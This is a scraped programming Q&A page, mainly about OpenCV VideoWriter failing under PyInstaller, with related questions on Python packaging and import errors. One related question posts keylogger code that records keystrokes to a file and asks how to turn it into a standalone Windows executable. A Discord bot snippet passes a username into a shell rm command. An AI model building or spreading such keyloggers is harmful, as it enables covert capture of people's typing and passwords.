videowriter crashes when run using pyinstaller - python-3.x

For the past several weeks I have been using videowriter.write() and it has been working fine. I needed to give the program to several coworkers that have random python installations so I packaged it up in pyinstaller, which I have used successfully on other projects.
Almost everything seems to be working fine when run under pyinstaller, I can read images, capture images from the camera, show them on the screen, and write out individual images. The problem is that when I use videowriter.write() somewhere down in the bowels of the code it crashes, complaining that the images have the incorrect size. This only happens when running under pyinstaller, not when running it directly from python.
Below is a portion of the code that I extracted with a generated test image. A coworker tried to run the same example, using his copy of opencv, python, and pyinstaller and his executable seems to work. I spent the last several days trying to duplicate that setup but I don't get the same results. I have completely removed python 3 (I have a copy of 2.7 that is specifically for other tests), cleared the pip cache, cleared environment variables, and made sure all the python directories were removed prior to re-installation. I have tried python back to 3.7, different versions of opencv 4.1 through current, and all behave the same way. I have also tried using a virtual environment and setting up the core python sitting in Program Files.
The current version of opencv_videoio_ffmpeg is: opencv_videoio_ffmpeg420_64.dll.
The version that my coworker used successfully is opencv_ffmpeg410_64.dll
While it doesn't seem to make much difference, the command I have been using to build the executable is:
pyinstaller videowriter_test.py --onefile
I have also tried it without the --onefile option, it works the same but its a little harder to find the executable.
The python installation has the following installed: opencv-python, opencv-contrib-python, imutils, pynput, keyboard, virtualenv, pyinstaller. These were all installed using pip.
pyinstaller stats:
129 INFO: PyInstaller: 3.6
129 INFO: Python: 3.7.7
131 INFO: Platform: Windows-10-10.0.18362-SP0
133 INFO: wrote C:\Users\tbray\Desktop\MyProjects\Python3\Play\videowriter\videowriter_test.spec
137 INFO: UPX is not available. 139 INFO: Extending PYTHONPATH with paths
The test code:
import traceback
import cv2
import numpy as np
import imutils
# the rest are just there to make sure pyinstaller includes the same modules
# as my regular code
import copy
import platform
import pathlib
import select
import argparse
import warnings
import datetime
import json
import time
if __name__ == '__main__':
w = 640
h = 480
currentVideoLogFilename = "test.avi"
print(os.getenv('temppath'))
try:
print("Attempting to open Video Log:", currentVideoLogFilename)
video_log_file = cv2.VideoWriter(currentVideoLogFilename,
cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'), 30, (w, h),True)
print("Open Success")
except:
traceback.print_exc()
print("Test Image Shape:", w, h)
image = np.zeros((w, h, 3))
try:
video_log_file.write(image)
except:
traceback.print_exc()
print("Completed")
video_log_file.release()
print("file closed/released")
sys.exit(0)
If I run the using idle or pyCharm, I get this result:
================== RESTART: C:\Users\tbray\Desktop\MyProjects\Python3\Play\videowriter\videowriter_test.py ==================
None
Attempting to open Video Log: test.avi
Open Success
Test Image Shape: 640 480
Completed
file closed/released
>>>
if I run it from the virtual environment I get:
C:\Users\tbray\Desktop\MyProjects\Python3\Play\videowriter\dist>videowriter_test.exe
None
Attempting to open Video Log: test.avi
[ERROR:0] global C:\projects\opencv-python\opencv\modules\videoio\src\cap.cpp (415) cv::VideoWriter::open VIDEOIO(CV_IMAGES): raised OpenCV exception:
OpenCV(4.2.0) C:\projects\opencv-python\opencv\modules\videoio\src\cap_images.cpp:253: error: (-5:Bad argument) CAP_IMAGES: can't find starting number (in the name of file): test.avi in function 'cv::icvExtractPattern'
Open Success
Test Image Shape: 640 480
Traceback (most recent call last):
File "videowriter_test.py", line 39, in <module>
cv2.error: OpenCV(4.2.0) C:\projects\opencv-python\opencv\modules\videoio\src\cap_mjpeg_encoder.cpp:476: error: (-215:Assertion failed) imgWidth == frameWidth && imgHeight == frameHeight && channels == 3 in function 'cv::mjpeg::MotionJpegWriter::write'
Completed
file closed/released
One interesting note is what I assume is the temp directory that is referenced in the first error message. I have no idea where the directory comes from and what happens to it, it is missing when I go looking for it.
Any suggestions?

Related

subprocess.CalledProcessError: Command '['gs', '-q', ...] returned non-zero exit status 2

(My operating system is macOS)
I am making a discord bot which allows a user to create graphics and display using an image through python's turtle module.
After creating the graphics I post-script the canvas to my desktop as an eps file with the user's username in the filename:
import turtle
...
Canvas = turtle.Screen()
Canvas.getcanvas().postscript(file=f"desktop/{context.author}'s_graphics.eps")
I attempted to output it as an eps file knowing that it wouldn't work but still worth a try:
import discord
...
await context.send(
embed=discord.Embed().set_image(url="attachment://graphics.png"),
file=discord.File(f"desktop/{context.author}'s_graphics.png","graphics.png")
)
But as expected it didn't work.
So I tried to directly convert it to a png file, if I were to do that by hand the file would become unreadable and if I convert it back to eps it would be readable again.
So then I used the PIL module to convert the eps file to png:
import turtle
from PIL import Image
...
Canvas = turtle.Screen()
Canvas.getcanvas().postscript(file=f"desktop/{context.author}'s_graphics.eps")
image=Image.open(f"desktop/{context.author}'s_graphics.eps") # Where macOS terminal error was raised
image.convert("RGBA") # Where Visual Studio Code error was raised
I had a few errors involving ghostscript being the root of the problem, I resolved them by installing ghostscript using homebrew because I didn't have it installed beforehand apparently.
But now I get two separate errors in two different command lines
If I were to run the script in the macOS terminal (and call the command in discord) I would get this error: FileNotFoundError: [Errno 2] No such file or directory: "desktop/Bossman#4404's_graphics.eps" - fair enough I can just get the absolute path or something. <- This error was raised
However, if I run the script in the Visual Studio Code terminal I get this error:
subprocess.CalledProcessError: Command '['gs', '-q', '-g719x675', '-r72.000000x72.000000', '-dBATCH', '-dNOPAUSE', '-dSAFER', '-sDEVICE=ppmraw', '-sOutputFile=/var/folders/ms/wv_n3bzs7zvctx07pqqzv__m0000gp/T/tmpg65g140v', '-c', '53 -59 translate', '-f', "desktop/Bossman#4404's_graphics.eps", '-c', 'showpage']' returned non-zero exit status 2.
I think it involves ghostscript again based off of the gs being an element in the array in the exception.
I went over several stackoverflow posts on this similar exception but in all of those posts they were directly using the subprocess module where I am not so Im not sure what to do.
How do I fix this? Or simply just make an eps to png file conversion?
Any other help would also be appreciated. <3
Edit:
Just to clarify I am not using turtle mainloop() or update() since I'm already running a loop being client.run(TOKEN) and I can't run simultaneous loops to my knowledge. (The discord loop is to run async functions.)
(Even removing image.convert("RGBA") I still get the same error at image.save())
I've just noticed at the very top of the exception it says:
Usage: gs [OPTIONS] COMMAND [ARGS]...
Try 'gs --help' for help.
Error: no such option: -q
Then comes in the
Traceback (most recent call last):
Code Edit:
import turtle
from PIL import Image
from os import system, path
...
directory = f"Users/family/Desktop/{context.author}'s_graphics"
Canvas = turtle.Screen()
Canvas.getcanvas().postscript(file=directory+".eps")
image = Image.open(path.realpath(directory+".eps"))
image.convert("RGBA") # Where error is raised
image.save(directory+".png",lossless=True)
await context.send(
embed=embed("").set_image(url="attachment://graphics.png"),
file=discord.File(directory+".png","graphics.png")
)
system(f"rm {directory}.png")

How to fix Python script started in CMD get's DLL Error, but runs in Pycharm and Anaconda Comand Promt

I want to run a python script in cmd via a batch file. The script fails with dll loading error for numpy imports. The same python script works in pycharm (2019 Anaconda Version) and in the anaconda command prompt without errors.
For all I use the same anaconda enviorment.
For Error Reproduction
Install Anaconda, don't set any path variables
Create an enviorment stored not in the default folder
conda create --prefix
conda activate
conda install numpy flask
6.Code for testing. test-numpy.py
import numpy as np
print(np.abs([1,2-4,6]))
create batch script
run batch script
Running in cmd a python script that has only system imports or no imports works fine.
Setting the pythonpath Variable in Windows is no option.
What I did so far:
Checking if there is an PATH error:
I printed the sys.path, both via Pycharm and the same python script run via CMD gave the same results: it points to my anaconda enviorment with the folders:
...\ (the enviorment itself)
...\python37.zip
...\DLLs
...\lib
...\lib\site-packages
Edit
Tested in Visual Studio Code, gives same Error as running via cmd
Found out Visual Studio Coda until now, can't handle conda enviorments, that where installed with -p or -prefix and are not stored in the default path
Uninstalled and reinstalled numpy
Tested to import another module: Flask also fails with DDL load error but works fine while run in Pycharm.
Tested on another PC with differnt anaconda version.
Another person could reproduce the same error I get.
My guess is my code fails in cmd, becaust anacona enviorments needs somehow to be activated before hand and doesn't work as a stand alone.
The Error Messeag I get running my script in CMD (... points to my anaconda enviormant path):
...\lib\site-packages\numpy\core__init__.py", line 40, in
from . import multiarray ...\lib\site-packages\numpy\core\multiarray.py", line 12, in
from . import overrides ...\lib\site-packages\numpy\core\overrides.py", line 6, in
from numpy.core._multiarray_umath import ( ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
During handling of the above exception, another exception occurred:
Traceback (most recent call last): "TestNumpy.py", line 14, in
import numpy as np ...\lib\site-packages\numpy__init__.py", line 142, in
from . import core ...\lib\site-packages\n umpy\core__init__.py", line 71, in
raise ImportError(msg) ImportError:
IMPORTANT: PLEASE READ THIS FOR ADVICE ON HOW TO SOLVE THIS ISSUE!
Importing the multiarray numpy extension module failed. Mostlikely
you are trying to import a failed build of numpy. Here is how to
proceed:
- If you're working with a numpy git repository, try git clean -xdf (removes all files not under version control) and rebuild numpy.
- If you are simply trying to use the numpy version that you have installed: your installation is broken - please reinstall numpy.
- If you have already reinstalled and that did not fix the problem, then:
1. Check that you are using the Python you expect
and that you have no directories in your PATH or PYTHONPATH that can
interfere with the Python and numpy versions you're trying to use.
2. If (1) looks fine, you can open a new issue at
https://github.com/numpy/numpy/issues. Please include details on:
- how you installed Python
- how you installed numpy
- your operating system
- whether or not you have multiple versions of Python installed
- if you built from source, your compiler versions and ideally a build log
Note: this error has many possible causes, so please don't comment on
an existing issue about this - open a new one instead.
Original error was: DLL load failed: Das angegebene Modul wurde nicht
gefunden.
I found not other solution it seems like it is needed to really activate the conda enviorment before calling the script via conda:
call <file_path>/Anaconda/Scripts/activate.bat <file_path/Anaconda_enviorment> && python <file_path/pythonscript.py>

opencv import issue and double install

Previously ROS was installed in my system which requires opencv for its implementation and now I am using anaconda in which I need to use the opencv library once again. While writing python code import cv2 throws an error module not found.
Is there any way to use that opencv library which ROS installed in anaconda
Although I installed opencv once again using conda.
$conda install -c conda-forge opencv
however opencv-3.3 was installed using above command. Now my python code is showing different import error as shown below:
ImportError Traceback (most recent call last)
<ipython-input-9-6b49ad4d4ca5> in <module>()
1 from random import shuffle
2 import glob
----> 3 import cv2
4 shuffle_data = True # shuffle the addresses before saving
5 hdf5_path = 'dataset.hdf5' # address to where you want to save the hdf5 file
ImportError: /home/kamal/ros_catkin_ws/install_isolated/lib/python2.7/dist-packages/cv2.so: undefined symbol: PyCObject_Type
How can I particularly specify which opencv library to use. What env variables I need to change.
Any help will be appreciated.
uncommenting the line source /home/user/ros_catkin_ws/install_isolated/share/setup.bash in the .bashrc file dosen't help. You also need to remove the extrasys.path added by the ROS environment.
In a python console
import sys
print (sys.path)
you will see multiple paths related to ROS
then remove the unwanted part of the path by
sys.path.remove('unwanted_path')
This will solve the problem but now ROS will not work. To make it work you need to append the removed path again.
If someone has a better approach please answer.

cx_Freeze program created from python won't run

I am trying to create a .exe version of a python keylogger program that I found on the internet, so it can be run on Windows pc's without python installed.
The code for the program as is follows:
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
if Char.Ascii==27:
logging.log(10,'ESC')
elif Char.Ascii==8:
logging.log(10,'BACKSPACE'
else:
logging.log(10,chr(Char.Ascii))
if chr(Char.Ascii)=='¬':
exit()
return True
hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()
After the .exe file has been created using the build function of cx_Freeze, the following error occurs in a separate error box when I run the file:
Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT
I don't have much knowledge of cx_Freeze at all, and would very much appreciate any help, as even when I have tried using simple programs such as a hello_world.py program, the .exe file doesn't appear to work.

Building executables for Python 3 and PyQt

I built a rather simple application in Python 3.1 using PyQt4. Being done, I want the application to be distributed to computers without either of those installed.
I almost exclusively care about Windows platforms, so my goal is to have a single executable file and maybe some resource files and .dlls in the end.
Having searched around, I came to the conclusion that
py2exe only supports Python up to version 2.7
pyinstaller only supports Python up to version 2.6
cx_Freeze does not work for me because I keep on getting the following error when trying to execute my successfully build binary:
Y:\Users\lulz\build\exe.win32-3.1>system_shutdown.exe
Traceback (most recent call last):
File "Y:\Program Files (x86)\Python\lib\site-packages\cx_Freeze\initscripts\Console3.py", line 27, in exec(code, m.__dict__)
File "Y:/Users/lulz/Documents/Coding/Python3/projects/System Shutdown/system_shutdown.pyw", line 5, in from PyQt4 import QtCore
File "ExtensionLoader_PyQt4_QtCore.py", line 16, in AttributeError: 'NoneType' object has no attribute 'modules'
So my problem is basically two problems here:
Is there another way but cx_Freeze to build binaries with my configuration?
If not, what might the cx_Freeze problem be?
I can provide more information on the second problem if necessary, like my call of cx_Freeze, my distutils setup script etc.
Thank you already for your help and comments.
You can fix this by appending one line of code to freeze.py in your cx_Freeze package.
It is described here:
http://www.mail-archive.com/cx-freeze-users#lists.sourceforge.net/msg00212.html
It worked for me at least :)
Cheers,
Almar
For Python 3.3 and later, there's a good resolution here:
py2exe - generate single executable file
Install py2exe:
pip install py2exe
Then add besides 'your_script.py' file, the following 'Make_exe.py' file:
from distutils.core import setup
import py2exe, sys
class Make_exe():
def __init__(self, python_script):
sys.argv.append('py2exe')
setup(
console=[{'script': python_script}],
zipfile = None,
options={
'py2exe':
{
'bundle_files': 1,
'compressed': True,
# Add includes if necessary, e.g.
'includes': ['lxml.etree', 'lxml._elementpath', 'gzip'],
}
}
)
if __name__ == '__main__':
Make_exe('your_script.py')
And if you want to make 'your_script.py' rebuild itself as 'your_script.exe' each time you run it in python, you can add to its main:
import subprocess
import sys
if __name__ == '__main__':
currentFile = sys.argv[0]
if currentFile.lower().endswith(".py"):
exitCode = subprocess.call("python Make_exe.py")
if exitCode==0 :
dirName = os.path.dirname(currentFile)
exeName = os.path.splitext(os.path.basename(currentFile))[0] + '.exe'
exePath = dirName + "/dist/" + exeName
cmd = [exePath] + sys.argv[1:]
print ("Executing command:\n %s" % cmd)
exitCode = subprocess.call(cmd)
sys.exit(exitCode)
else:
print ("This will be executed only within the new generated EXE File...")

Resources